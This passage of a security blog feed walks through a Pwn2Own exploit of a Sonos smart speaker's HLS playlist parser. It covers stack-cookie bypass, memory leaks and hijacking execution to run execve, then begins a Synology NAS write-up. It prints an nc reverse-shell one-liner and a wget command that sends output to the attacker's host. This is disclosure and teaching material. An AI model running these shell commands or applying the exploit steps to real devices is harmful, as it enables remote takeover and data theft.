&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;remove_alac_streams&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::BREntry &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;filtered&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;16&lt;/span&gt;] &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; {&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;};&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; filtered_outidx &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // iterate over all entries&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; (&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nbrentries&lt;/span&gt;; i&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;) {&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // iterate over all streams&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; filtered_stidx &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; (&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; st &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;; st &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nstreams&lt;/span&gt;; st&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; // if non-alac, copy it over into the local array&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;strcasecmp&lt;/span&gt;(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;streams&lt;/span&gt;[st].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;codec&lt;/span&gt;, &lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;alac&quot;&lt;/span&gt;)) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;memcpy&lt;/span&gt;(&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;filtered&lt;/span&gt;[filtered_outidx].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;streams&lt;/span&gt;[filtered_stidx],&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;streams&lt;/span&gt;[st],&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;sizeof&lt;/span&gt;(...));&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; filtered_stidx&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // only execute if some streams were actually copied&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (filtered_stidx &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;filtered&lt;/span&gt;[filtered_outidx].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bandwidth&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bandwidth&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;filtered&lt;/span&gt;[filtered_outidx].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nstreams&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; filtered_stidx;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; filtered_outidx&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; }&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // copy over the local array&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nbrentries&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; filtered_outidx;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;memcpy&lt;/span&gt;(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;, filtered, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;sizeof&lt;/span&gt;(&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;));&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Unfortunately, there is one small nuance in the stack frame / structure layout we need to deal with first…&lt;/p&gt;

&lt;h3 id=&quot;controlling-the-stack-overflow&quot;&gt;Controlling the Stack Overflow&lt;/h3&gt;

&lt;p&gt;The structures we are copying to/from are identical. Unless there is a “misalignment” due to removal of an ALAC stream, the offset into the source heap array for the copy will always be the same as the offset into the destination stack array.&lt;/p&gt;

&lt;p&gt;Removing an ALAC stream will cause the offsets to differ. However, our vulnerability only allows writing a single stream out-of-bounds. To demonstrate, without any removals, writing to the stack array +1 OOB would copy from the heap source +1 OOB, which precisely copies from the single stream we wrote out-of-bounds. If we perform a removal, writing +1 OOB on the stack would copy from +2 OOB on the heap, which would be from further adjacent fields in the &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; that we currently don’t control the contents of…&lt;/p&gt;

&lt;p&gt;With that in mind, let’s consider what happens if we don’t perform removals, and copy our single out-of-bounds stream onto the stack. This is how the stack frame (destination for the copy) and the &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; (source of the copy) overlay:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_cookie_overlap.svg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_cookie_overlap.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_cookie_overlap.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;Critically, &lt;code class=&quot;highlighter-rouge&quot;&gt;nbrentries&lt;/code&gt; (which is the number of entries populated in the preceding &lt;code class=&quot;highlighter-rouge&quot;&gt;brentries&lt;/code&gt; array) is at the same offset as the stack cookie.
&lt;code class=&quot;highlighter-rouge&quot;&gt;nbrentries&lt;/code&gt; determines the outer loop iteration count in &lt;code class=&quot;highlighter-rouge&quot;&gt;remove_alac_streams&lt;/code&gt;, so must be some small integer to avoid copying “forever” and hitting unmapped memory.
Meanwhile, the stack cookie will almost definitely not be some small integer…&lt;/p&gt;

&lt;p&gt;Clearly, these values can not be the same if we’re to successfully trigger a stack overflow in &lt;code class=&quot;highlighter-rouge&quot;&gt;remove_alac_streams&lt;/code&gt;. As a side note, the stack cookie is implemented with the compiler-provided libssp, which uses a &lt;code class=&quot;highlighter-rouge&quot;&gt;__stack_chk_guard_ptr&lt;/code&gt; in the GOT pointing to the cookie in libssp’s data section, as opposed to TLS (thread-local storage). This precludes any CTF-style tricks of overwriting the cookie itself by overflowing far enough down the thread stack to corrupt TLS.&lt;/p&gt;

&lt;p&gt;Our only option is to “misalign” the copy offsets by removing an ALAC stream. As noted before, this puts the source of the copy further out-of-bounds within the &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; structure, so we’ll need to understand how to control those &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; fields.&lt;/p&gt;

&lt;h3 id=&quot;controlling-the-track-list&quot;&gt;Controlling the Track List&lt;/h3&gt;

&lt;p&gt;Fortunately, these further fields in the &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; are some sort of track list, an array of tracks where each contains some metadata along with a URI.
These tracks are actually the segmented media chunks of the HLS stream (i.e. the first N seconds of audio, next N seconds, and so on…), so are specified in the playlist file (i.e. we control them).&lt;/p&gt;

&lt;p&gt;Specifically, the source for the out-of-bounds copy will come from partially within the URI buffer of the first track.
In order to control the contents of this URI, we’ll utilize the same null-byte-embedding technique of using successively shorter strings.
The track list has enough room for 16 tracks which are populated in a ring-buffer-esque style, where the 17th track will be written to index 0 (overwriting the original contents from the 1st track). Looping the track list back to index 0 enables us to send strings repeatedly to implement the null-embedding technique.&lt;/p&gt;

&lt;h2 id=&quot;info-leaks&quot;&gt;Info Leaks&lt;/h2&gt;

&lt;p&gt;Now that we understand how to trigger a stack overflow in &lt;code class=&quot;highlighter-rouge&quot;&gt;remove_alac_streams&lt;/code&gt; with a precisely-controlled payload, all we need are leaks to meaningfully hijack control flow.&lt;/p&gt;

&lt;p&gt;Recall the following fields within the &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; structure that we can corrupt:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::BREntry &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;16&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt; nbrentries;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // number of populated entries in preceding array&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; br_idx;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;// index of entry for current bitrate (i.e. normally 0-15)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; stream_idx;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp;// index of stream within entry (i.e. normally 0-3)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; ...&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;br_idx&lt;/code&gt; determines the index into &lt;code class=&quot;highlighter-rouge&quot;&gt;brentries&lt;/code&gt;, while &lt;code class=&quot;highlighter-rouge&quot;&gt;stream_idx&lt;/code&gt; determines the index into that entry’s array of streams. In combination, these define the currently selected stream.&lt;/p&gt;

&lt;p&gt;After the HLS playlist parser has consumed the top-level playlist and wants to start streaming, it fetches an inner playlist from the URI field of the currently selected stream.
If it’s a non-absolute URL, the host/port from the top-level playlist are prepended to make the actual HTTP request. If we corrupt &lt;code class=&quot;highlighter-rouge&quot;&gt;br_idx&lt;/code&gt; / &lt;code class=&quot;highlighter-rouge&quot;&gt;stream_idx&lt;/code&gt; to point at an out-of-bounds URI,
we can get our leaks by observing the requested URI received by our HTTP server.&lt;/p&gt;

&lt;p&gt;Recall that the string fields of the streams within the &lt;code class=&quot;highlighter-rouge&quot;&gt;brentries&lt;/code&gt; array were copied from stack locals containing uninitialized stack memory.
This means all the values of interest are somewhere within those uninitialized contents copied onto the heap, it just comes down to finding the right &lt;code class=&quot;highlighter-rouge&quot;&gt;br_idx&lt;/code&gt; / &lt;code class=&quot;highlighter-rouge&quot;&gt;stream_idx&lt;/code&gt; values to produce the desired offset from &lt;code class=&quot;highlighter-rouge&quot;&gt;br_idx * sizeof(BREntry) + stream_idx * sizeof(Stream)&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_uninit_leak.svg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_uninit_leak.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_uninit_leak.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;Each trigger of the vulnerability will produce one leak, so we’ll need to send several playlists in succession to obtain all of our leaks:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;a text pointer (giving us a text leak for gadgets / etc)&lt;/li&gt;
  &lt;li&gt;a stack pointer (we have controlled data on the stack we’ll use as function arguments)&lt;/li&gt;
  &lt;li&gt;the stack cookie (unlike glibc, the libssp implementation did not seem to place a null in the lowest byte, meaning the cookie can be fully leaked when interpreted as a string)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;code-execution&quot;&gt;Code Execution&lt;/h2&gt;

&lt;p&gt;With leaks acquired, we can send our final crafted playlist file to induce the stack overflow in &lt;code class=&quot;highlighter-rouge&quot;&gt;remove_alac_streams&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The layout of the stack frame has a bunch of callee-saved registers (including the link register) directly after the cookie.
We corrupt LR with a COP (call-oriented-programming) gadget to turn this into an arbitrary function call with three controlled arguments:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;x1&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;x23&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;x0&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;x21&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;x2&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;x20&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;blr&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;x22&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
We direct this to the &lt;code class=&quot;highlighter-rouge&quot;&gt;execve&lt;/code&gt; stub in the PLT, and setup the arguments to point at strings / argv arrays on the stack to execute &lt;code class=&quot;highlighter-rouge&quot;&gt;/bin/sh -c &amp;lt;cmd&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This gives us arbitrary shell command execution. To turn this into an interactive shell, we’ll need to spawn a connect-back, which requires creating a FIFO on a busybox-based system:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rm -f f;mknod f p;cat f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc ip 1337 &amp;gt;f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The only nuance is we must be in a directory in which we have permission to create files. Incidentally, this gave us a bit of a scare at the actual competition… as our exploit seemingly did not land initially, despite being tested beforehand on a vanilla-configured retail device.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_meme1.jpg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_meme1.jpg&quot; data-title=&quot;&amp;lt;a href='https://x.com/qkaiser/status/1848608023507349620?s=46'&amp;gt;source&amp;lt;/a&amp;gt;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_meme1.jpg&quot; alt=&quot;&quot; style=&quot;width:60%&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;a href=&quot;https://x.com/qkaiser/status/1848608023507349620?s=46&quot;&gt;source&lt;/a&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;We soon realized we were in fact getting code execution through &lt;code class=&quot;highlighter-rouge&quot;&gt;execve&lt;/code&gt;, but for some reason the connect-back wasn’t hitting.
In the chaos of trying to figure things out “on-stage” we ended up switching the fully interactive connect-back for a simple &lt;code class=&quot;highlighter-rouge&quot;&gt;wget ip:port/$(arbitrary command here)&lt;/code&gt; (where our HTTP server would log the request URI containing the command output), but our best guess is that simply changing the path of the created FIFO would’ve solved the issue.&lt;/p&gt;

&lt;p&gt;The specific path we were using was &lt;code class=&quot;highlighter-rouge&quot;&gt;/jffs/settings&lt;/code&gt;, which for some reason was writable on the device we had purchased, but not on the competition device. It just goes to show that anything can happen once you’re on the actual Pwn2Own stage! With the potential lesson-learned here being to have backups for demonstrating code execution and/or double-checking basic assumptions about the device environment.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;To recap the overall flow of the exploit:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;send 3 playlist files to obtain leaks (text + stack + cookie)&lt;/li&gt;
  &lt;li&gt;send a benign playlist to populate the track list&lt;/li&gt;
  &lt;li&gt;send a playlist to induce the stack overflow&lt;/li&gt;
  &lt;li&gt;redirect to &lt;code class=&quot;highlighter-rouge&quot;&gt;execve&lt;/code&gt; for arbitrary code execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Overall, we found the Sonos a moderately challenging target that felt very rewarding to exploit, and it was fun to participate in the Pwn2Own event in-person as well.&lt;/p&gt;

&lt;p&gt;The encrypted firmware / hardware security situation definitely raises the difficulty significantly of performing research.
If NCC had not published their bootloader work, or if we did not have someone with the necessary hardware experience to replicate it, we simply would not have been able to perform meaningful research in time.
That said, this form of security only hinders getting the code, which once obtained, is almost certain to have bugs.&lt;/p&gt;

&lt;p&gt;The full exploit code for &lt;a href=&quot;https://www.sonos.com/en-us/security-advisory-2024-0002&quot;&gt;CVE-2025-1050&lt;/a&gt; has been released for educational purposes on GitHub &lt;a href=&quot;https://github.com/ret2/Pwn2Own-Ireland2024-Sonos&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content><author><name>Jack Dates</name></author><summary type="html">In October 2024, RET2 participated in the “Small Office / Home Office” (SOHO) flavor of Pwn2Own, a competition which challenges top security researchers to compromise consumer-focused network devices. This includes popular smart speakers, routers, IP cameras, printers, and network-attached storage (NAS) devices. One of the two devices we targeted this year was the Sonos Era 300, a high-end smart speaker which retails for around $500 USD. The Sonos layers several security technologies to establish a chain of trust rooted in hardware, protect device specific secrets (ARM Trustzone, eFuses), and harden its primary runtime service against active exploitation. For a category of devices historically derided as “junk hacking,” things have certainly changed. In this post, we’ll touch on how past research was adapted to obtain a foothold on the device, providing us the necessary introspection to discover and exploit a powerful memory corruption vulnerability (CVE-2025-1050) in remotely accessible, unauthenticated attack surface, netting our exploit $60,000 USD from the competition. Jack Dates (far-right) of RET2 Systems attacking a Sonos Era 300 with a zero-day exploit at Pwn2Own 2024</summary></entry><entry><title type="html">Exploiting the Synology DiskStation with Null-byte Writes</title><link href="https://blog.ret2.io/2025/04/23/pwn2own-soho-2024-diskstation/" rel="alternate" type="text/html" title="Exploiting the Synology DiskStation with Null-byte Writes" /><published>2025-04-23T10:00:00+00:00</published><updated>2025-04-23T10:00:00+00:00</updated><id>https://blog.ret2.io/2025/04/23/pwn2own-soho-2024-diskstation</id><content type="html" xml:base="https://blog.ret2.io/2025/04/23/pwn2own-soho-2024-diskstation/">&lt;p&gt;In October, we attended &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2024/7/16/announcing-pwn2own-ireland-2024&quot;&gt;Pwn2Own Ireland 2024&lt;/a&gt; and successfully exploited the Synology DiskStation DS1823xs+ to obtain remote code execution as root. This issue has been fixed as CVE-2024-10442.&lt;/p&gt;

&lt;p&gt;The DiskStation is a popular line of NAS (network-attached storage) products by Synology. It has been succesfully exploited a few times at Pwn2Own events in the past, though it remained untouched in the prior year’s event (Pwn2Own Toronto 2023).
Then Ireland 2024 saw three successful entries, all using unique bugs.&lt;/p&gt;

&lt;p&gt;This post will detail our experience researching the Synology DiskStation and writing an exploit against it for the event.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_diskstation_title.jpg&quot; data-lightbox=&quot;pwn2own_soho24_diskstation_title.jpg&quot; data-title=&quot;Prepping to throw an exploit at the Synology DiskStation, Pwn2Own Ireland 2024&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_diskstation_title.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Prepping to throw an exploit at the Synology DiskStation, Pwn2Own Ireland 2024&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;reviewing-synology-packages&quot;&gt;Reviewing Synology Packages&lt;/h2&gt;

&lt;p&gt;As mentioned, the past year or two of Pwn2Own had garnered no entries against the Synology DiskStation. In 2024, ZDI opted
to place a few non-default, but first-party packages authored by Synology in-scope for the competition:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;For the Synology DiskStation target, the following packages will be installed and are in scope for contest:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;MailPlus&lt;/li&gt;
    &lt;li&gt;Drive&lt;/li&gt;
    &lt;li&gt;Virtual Machine Manager&lt;/li&gt;
    &lt;li&gt;Snapshot Replication&lt;/li&gt;
    &lt;li&gt;Surveillance Station&lt;/li&gt;
    &lt;li&gt;Photos&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;“Packages” are optional add-on applications / services (etc.) that can be easily installed on the device via Synology’s Package Center in the DiskStation Manager.&lt;/p&gt;

&lt;p&gt;For us, this meant more attack surface, and as this was the first year these packages were in-scope,
we figured there was good opportunity to find some relatively shallow vulnerabilities, as these packages likely hadn’t seen as much security-oriented review. This turned out to be very true.&lt;/p&gt;

&lt;p&gt;The first package we looked at was Virtual Machine Manager, which we installed directly from the built-in Package Center on a physical DiskStation.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_synology_vm_man.png&quot; data-lightbox=&quot;pwn2own_soho24_synology_vm_man.png&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_synology_vm_man.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;We could then enumerate any new network listeners with &lt;code class=&quot;highlighter-rouge&quot;&gt;netstat&lt;/code&gt; via an SSH shell we had on our test device. This revealed a handful of localhost-only services, save for a single service bound to all interfaces, running the following command (as root):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/var/packages/ReplicationService/target/sbin/synobtrfsreplicad --port 5566
&lt;/code&gt;&lt;/pre&gt;

